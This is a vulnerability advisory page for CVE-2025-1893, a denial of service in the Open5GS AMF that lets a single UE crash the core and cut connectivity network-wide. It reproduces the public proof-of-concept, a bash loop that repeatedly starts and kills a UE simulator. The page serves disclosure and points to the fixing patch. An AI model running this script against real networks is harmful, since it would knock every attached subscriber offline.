Open5GS up to 2.7.2 AMF src/amf/gmm-sm.c gmm_state_authentication denial of service

Summaryinfo

A vulnerability, which was classified as problematic, has been found in Open5GS up to 2.7.2. This vulnerability affects the function gmm_state_authentication of the file src/amf/gmm-sm.c of the component AMF. This manipulation causes denial of service. This vulnerability is handled as CVE-2025-1893. The attack can be initiated remotely. Additionally, an exploit exists. To fix this issue, it is recommended to deploy a patch.

Detailsinfo

A vulnerability was found in Open5GS up to 2.7.2. It has been declared as problematic. Affected by this vulnerability is the function gmm_state_authentication of the file src/amf/gmm-sm.c of the component AMF. The manipulation with an unknown input leads to a denial of service vulnerability. The CWE definition for the vulnerability is CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. As an impact it is known to affect availability. According to 3GPP TS 23.501, AMF provides essential services such as UE registration, mobility management, security management, and PDU session coordination for all connected UEs.

It is possible to read the advisory at github.com. This vulnerability is known as CVE-2025-1893. The exploitation appears to be easy. The attack can be launched remotely. Technical details and also a public exploit are known. The attack technique deployed by this issue is T1499 according to MITRE ATT&CK. This vulnerability allows a single UE to crash the AMF, resulting in the complete loss of mobility and session management services and causing a network-wide outage. All registered UEs will lose connectivity, and new registrations will be blocked until the AMF is restarted, leading to a high availability impact.

It is possible to download the exploit at github.com. It is declared as proof-of-concept. The code used by the exploit is:

#!/bin/bash
while true; do
    sudo ./nr-ue -c ../config/open5gs-ue1.yaml > output.log 2>&1 &
    process_pid=$!

   
    sleep_time=$(awk -v seed="$RANDOM" 'BEGIN {srand(seed); print 0.6 + rand() * 0.9}')
    sleep "$sleep_time"

    kill $process_pid

    
    sleep_time=$(awk -v seed="$RANDOM" 'BEGIN {srand(seed); print 0.1 + rand() * 0.9}')
    sleep "$sleep_time"
done

Applying the patch e31e9965f00d9c744a7f728497cb4f3e97744ee8 is able to eliminate this problem. The bugfix is ready for download at github.com.

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Productinfo

Name

• Open5GS

Version

• 2.7.0
• 2.7.1
• 2.7.2

License

• open-source

Website

• Product: https://github.com/open5gs/open5gs/

CPE 2.3info

• 🔍
• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍
• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #505952: Open5GS v2.7.2 Denial of Service (by EnginerStaticPower)

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Discussion